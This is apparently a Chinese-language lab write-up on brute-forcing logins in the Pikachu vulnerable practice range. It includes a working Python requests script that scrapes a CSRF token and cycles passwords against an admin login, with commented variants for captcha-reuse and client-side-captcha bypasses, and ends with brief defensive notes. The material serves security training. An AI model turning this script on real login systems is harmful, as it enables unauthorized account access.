暴力破解-Python工具篇
在对pikachu靶场的暴力破解进行测试时,我们可以使用burpsuite进行爆破,也可使用Python脚本进行自动化爆破
以下内容主要记录本次使用Python进行暴力破解的思路:
通过burpsuite进行截断,获取客户提交的http请求信息:
通过burpsuite截断信息,我们可以获取cookie及post提交的字段信息;
根据获取到的信息编写Python脚本:
import requests from bs4 import BeautifulSoup s = requests.session() password = ['123', '456', '123456', '67899'] # 设置http请求头部信息 header = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ' (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36', 'Cookie': 'PHPSESSID=of5tkhcr385na1oij0h90vr1r0' } req = s.get('http://pikachu.hack/vul/burteforce/bf_token.php') # token验证 token= BeautifulSoup(req.text,'lxml').find('input',{'name':'token'}).get('value') for pa in password: # 基于表单的暴力破解 # req=s.post(url='http://pikachu.hack/vul/burteforce/bf_form.php',data={'username':'admin','password':pa,'submit':'Login'}) # 验证码绕过(on server)未失效,可重复使用 # data = {'username': 'admin', 'password': pa, 'vcode': '14xkgk', 'submit': 'Login'} # req = requests.post(url='http://pikachu.hack/vul/burteforce/bf_server.php', # data=data, headers=header) # 基于client端验证码,后台无校验 # req=s.post(url='http://pikachu.hack/vul/burteforce/bf_token.php',data={'username':'admin','password':pa,'submit':'Login'}) # 基于token验证 req=s.post(url='http://pikachu.hack/vul/burteforce/bf_token.php',data={'username':'admin','password':pa,'token':token,'submit':'Login'}) if 'success' in req.text: print("爆破成功,用户名:admin,密码为:%s" % pa) break else: req = s.get('http://pikachu.hack/vul/burteforce/bf_token.php') token = BeautifulSoup(req.text, 'lxml').find('input', {'name': 'token'}).get('value')
通过分析,我们可以发现,不是存在验证码就是安全的,若验证码在不刷新页面的情况下,可以反复使用,那么我们只需要枚举用户名、密码即可。可能部分页面存在唬人的情况,页面存在验证码,但实际上后端并未对验证码做校验。
较为安全的是为每次请求都生成随机的token,在提交请求的时候,对token字段也进行校验。通过以上代码我们可以发现,即使是存在token的情况下, 若没有登录限制,我们仍然可以对用户名等进行爆破。